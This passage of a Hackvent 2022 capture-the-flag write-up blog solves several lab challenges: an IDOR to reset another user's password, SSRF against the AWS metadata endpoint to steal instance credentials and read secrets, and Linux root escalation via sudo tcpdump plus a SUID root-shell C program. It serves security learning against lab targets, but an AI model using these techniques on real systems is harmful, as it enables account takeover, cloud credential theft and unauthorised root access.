target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"366\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27-1024x366.png\" alt=\"\" class=\"wp-image-2008\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27-1024x366.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27-300x107.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27-768x275.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27-1536x549.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27-500x179.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27.png 1818w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Initially, I thought that we need to elevate our user role. But I didn&#8217;t find a way. After tinkering with Burp, I found an IDOR vulnerability in the update password function, namely the &#8220;\/api\/user\/x&#8221; endpoint. I found out that I can change the password of user1 when logged in with user2 by changing the ID in the API endpoint.<\/p>\n\n\n\n<p>I tried to change the password of the user with ID 0, but this user doesn&#8217;t exist. My next, very lucky, guess was &#8220;1337&#8221;, and I was successful. I changed &#8220;Santa&#8217;s&#8221; password and could log in.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"307\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28-1024x307.png\" alt=\"\" class=\"wp-image-2009\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28-1024x307.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28-300x90.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28-768x230.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28-1536x461.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28-500x150.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-28.png 1667w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Santa&#8217;s profile had just one note containing the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"178\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29-1024x178.png\" alt=\"\" class=\"wp-image-2010\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29-1024x178.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29-300x52.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29-768x134.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29-1536x267.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29-500x87.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-29.png 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Because of the text in the flag, I discovered that I didn&#8217;t solve it the intended way. I contacted the challenge author, HaCk0, on Discord and informed him about the new method. He forgot to check the user on this endpoint, and he implemented it correctly on all others. \ud83d\ude42 This can happen, and I was lucky to solve the challenge first. The challenge was still very great; thanks for the effort!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{Sql1_is_An_0Ld_Cr4Ft}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.11] Santa&#8217;s Screenshot Render Function<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"835\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-30.png\" alt=\"\" class=\"wp-image-2013\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-30.png 835w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-30-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-30-768x113.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-30-500x74.png 500w\" sizes=\"auto, (max-width: 835px) 100vw, 835px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa has been screenshotting NFTs all year. Now that the price has dropped, he has resorted to screenshotting websites. It&#8217;s impossible that this may pose a security risk, is it?<\/p>\n\n\n\n<p>You can find Santa&#8217;s website here:&nbsp;<a rel=\"noreferrer noopener\" href=\"http:\/\/hackvent.deathspirate.com\/\" target=\"_blank\">https:\/\/hackvent.deathspirate.com<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>Deaths Pirate<\/strong>. Unlike me, he doesn&#8217;t pirate NFTs! YaaRRRrrr!<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Today&#8217;s challenge was about AWS security. I liked the content of the challenge a lot. Unfortunately, the challenge website went down many times. And even more frustrating was the initial version of the challenge, where one would need to manually write or correct character by character of a very long and randomized AWS token. This is a lot of manual work, cumbersome, and very error-prone. After many participants complained in the Discord chat, this part of the challenge was adapted and made easier.<\/p>\n\n\n\n<p>When we open the challenge website, we see this page:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"434\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-1024x434.png\" alt=\"\" class=\"wp-image-2014\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-1024x434.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-300x127.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-768x325.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-1536x650.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-2048x867.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-31-500x212.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>The challenge website clearly hints that this one is about AWS security. While playing with the website and analyzing traffic, I recognized the images being loaded from the AWS S3 bucket &#8220;hackvent2022&#8221;. If we browse to the URL of the bucket, we can identify that this is an <a href=\"https:\/\/www.acunetix.com\/vulnerabilities\/web\/amazon-s3-public-bucket\/\" target=\"_blank\" rel=\"noreferrer noopener\">open S3 Bucket<\/a> where we also can list files.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"699\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42-1024x699.png\" alt=\"\" class=\"wp-image-2016\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42-1024x699.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42-300x205.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42-768x524.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42-440x300.png 440w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-11-20-04-42.png 1517w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>The next logical step is to open the &#8220;flag1.txt&#8221; file and find the first part of the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"220\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-1024x220.png\" alt=\"\" class=\"wp-image-2018\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-1024x220.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-300x64.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-768x165.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-1536x330.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-2048x440.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-32-500x107.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Now we need to go hunting for the rest of the flag. As this website offers a screenshot service to make images of other websites, it is obvious that we have a <a rel=\"noreferrer noopener\" href=\"https:\/\/owasp.org\/Top10\/A10_2021-Server-Side_Request_Forgery_%28SSRF%29\/\" target=\"_blank\">Server Side Request Forgery (SSRF)<\/a> vulnerability. If there is an SSRF vulnerability on a resource running on AWS, we can talk to the AWS IP 169.254.169.254 and query information about the running service, in this case, an EC2 instance. We can start looking for information by screenshotting the URL http:\/\/169.254.169.254\/latest\/meta-data and its subpages.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"684\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-1024x684.png\" alt=\"\" class=\"wp-image-2019\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-1024x684.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-300x200.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-768x513.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-1536x1025.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-2048x1367.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-33-449x300.png 449w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Eventually, we find the access keys of the EC2 instance.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"547\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-1024x547.png\" alt=\"\" class=\"wp-image-2020\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-1024x547.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-300x160.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-768x410.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-1536x821.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-2048x1095.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-34-500x267.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>In the first version of the challenge, the access token had to be manually written to text, or an OCR software could help. Nevertheless, because the used font Arial has some hard-to-distinguish characters, much manual effort had to be put in. Fortunately, I wasn&#8217;t the only one complaining, and the challenge author added an easier path. The access credentials could now be copied from the source code.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"231\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-1024x231.png\" alt=\"\" class=\"wp-image-2021\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-1024x231.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-300x68.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-768x173.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-1536x346.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-2048x461.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-35-500x113.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>With the credentials and the corresponding name &#8220;Hackvent-SecretReader-EC2-Role&#8221; we now have everything to connect with the &#8220;cli&#8221; to the AWS console and start digging. I assumed the second part of the flag must be stored in the SecretsManager.<\/p>\n\n\n\n<p>We can use the credentials as follows:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">export AWS_ACCESS_KEY_ID=&lt;&gt;\nexport AWS_SECRET_ACCESS_KEY=&lt;&gt;\nexport AWS_SESSION_TOKEN=&lt;&gt;<\/pre>\n\n\n\n<p>Now we can use the AWS command line interface to read the secrets and get the second half of the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"466\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37-1024x466.png\" alt=\"\" class=\"wp-image-2023\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37-1024x466.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37-300x137.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37-768x350.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37-1536x699.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37-500x228.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-37.png 1680w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"136\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-1024x136.png\" alt=\"\" class=\"wp-image-2024\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-1024x136.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-300x40.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-768x102.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-1536x204.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-2048x272.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-38-500x66.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"json\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n    \"ARN\": \"arn:aws:secretsmanager:eu-west-2:839663496474:secret:flag2-UjomOM\",\n    \"Name\": \"flag2\",\n    \"VersionId\": \"8a498b78-e73f-4a97-a0c3-74f365d3aa0d\",\n    \"SecretString\": \"{\\\"flag2description\\\":\\\"Oh Hai! Santa made us split the flag up, he gave this part to me and told me to put it somewhere safe, I figured this was the best place.  The other half he gave to another Elf and told him the same thing, but that Elf told me he just threw it into a bucket!  That doesn't sound safe at all!\\\",\\\"flag2\\\":\\\"M3r2y-Xm45_Yarr222_&lt;3_Pirate}\\\",\\\"what_is_this\\\":\\\"Oh I forgot to mention I overheard some of the elves talking about making tags available ... maybe they mean gift tags?! Who knows ... maybe you can make something out of that ... or not :D \\\"}\",\n    \"VersionStages\": [\n        \"AWSCURRENT\"\n    ],\n    \"CreatedDate\": 1670706291.128\n}<\/pre>\n\n\n\n<p>In the &#8220;flag2description&#8221;, we get a hint that the medium hidden flag is also somewhere in this challenge. And that it has something to do with &#8220;tags&#8221;.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{H0_h0_h0_H4v3_&amp;_M3r2y-Xm45_Yarr222_&lt;3_Pirate}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.H2] The Elves&#8217;s Secret<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"827\" height=\"122\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-39.png\" alt=\"\" class=\"wp-image-2026\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-39.png 827w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-39-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-39-768x113.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-39-500x74.png 500w\" sizes=\"auto, (max-width: 827px) 100vw, 827px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Uhm&#8230;hello? What are you doing here? I thought you were tasked with finding a hidden flag in one of the medium challenges??<\/p>\n\n\n\n<p>There is no 24h bonus on the hidden challenges!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>If we go to the UserGuide of AWS and read more about IP 169.254.169.254 and how to retrieve an instance&#8217;s metadata, we also discover how to get tag data. Namely through the URL &#8220;http:\/\/169.254.169.254\/latest\/meta-data\/tags\/instance\/Name&#8221;. <\/p>\n\n\n\n<p>Let&#8217;s try this:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"580\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-1024x580.png\" alt=\"\" class=\"wp-image-2028\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-1024x580.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-300x170.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-768x435.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-1536x870.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-2048x1160.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-40-500x283.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"394\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41-1024x394.png\" alt=\"\" class=\"wp-image-2029\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41-1024x394.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41-300x115.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41-768x295.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41-500x192.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-41.png 1254w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{5G0ldRing5QuickGetThem2MtDoom}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.12] Funny SysAdmin<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"835\" height=\"120\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-42.png\" alt=\"\" class=\"wp-image-2033\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-42.png 835w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-42-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-42-768x110.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-42-500x72.png 500w\" sizes=\"auto, (max-width: 835px) 100vw, 835px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa wrote his first small script, to track the open gifts on the wishlist. However the script stopped working a couple of days ago and Santa has been stuck debugging the script. His sysadmin seems to be a bit funny \ud83d\ude09<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>wangibangi<\/strong>. We do a little trolling! Truly a funny challenge, enjoyed by everyone universally.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Goal<\/h2>\n\n\n\n<p>Can you find the secret flag on the box?<\/p>\n\n\n\n<p>Start the resources in the&nbsp;<code>Resources<\/code>&nbsp;section to find out!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>I liked the challenge of this day very much &#8211; Linux privilege escalation. When connecting to the resource, we are in a Bash shell of a Linux system. There is a script that does not run, probably because there is no connection to the internet.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"300\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43-1024x300.png\" alt=\"\" class=\"wp-image-2034\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43-1024x300.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43-300x88.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43-768x225.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43-500x146.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-43.png 1323w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We start to examine the environment, and after some time, we find the first exciting clue: With the command &#8220;sudo&#8221;, we can elevate our privileges to read the log files with &#8220;less&#8221;, and we also can use &#8220;tcpdump&#8221; as root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"219\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44-1024x219.png\" alt=\"\" class=\"wp-image-2035\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44-1024x219.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44-300x64.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44-768x165.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44-500x107.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-44.png 1479w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p><a rel=\"noreferrer noopener\" href=\"https:\/\/gtfobins.github.io\/gtfobins\/tcpdump\/\" target=\"_blank\">Sudo privileges for tcpdump is a known vector to gain root access on a Linux host. <\/a>We can start tcpdump with Sudo, which elevates the root rights. From there, we can execute a program or a script whit the root permissions.<\/p>\n\n\n\n<p>I wanted to have permanent root privileges. Therefore I wrote a small C program that returns a bash shell and compiled it directly on the challenge host.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\nint main() {\n    char *name[2];\n    name[0] = \"bash\";\n    name[1] = NULL;\n    setuid(0);      \/\/ sets the real user ID to 0 i.e. root\n    execvp(\"\/bin\/bash\", name);\n}<\/pre>\n\n\n\n<p>With a tiny bash script, which will be executed from the elevated tcpdump, we set the suid bit to the compiled C program. This will allow us to create a permanent root shell on the system.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/bin\/sh\n\/bin\/busybox chown root:root \/home\/santa\/bsh\n\/bin\/busybox chmod u+s \/home\/santa\/bsh<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"250\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45-1024x250.png\" alt=\"\" class=\"wp-image-2036\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45-1024x250.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45-300x73.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45-768x187.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45-500x122.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-45.png 1124w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo tcpdump -ln -i eth0 -w a -W 1 -G 1 -z \/home\/santa\/bsh.sh -Z root<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"282\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-1024x282.png\" alt=\"\" class=\"wp-image-2037\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-1024x282.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-300x83.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-768x211.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-1536x423.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-2048x563.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-46-500x138.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"248\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47-1024x248.png\" alt=\"\" class=\"wp-image-2038\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47-1024x248.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47-300x73.png 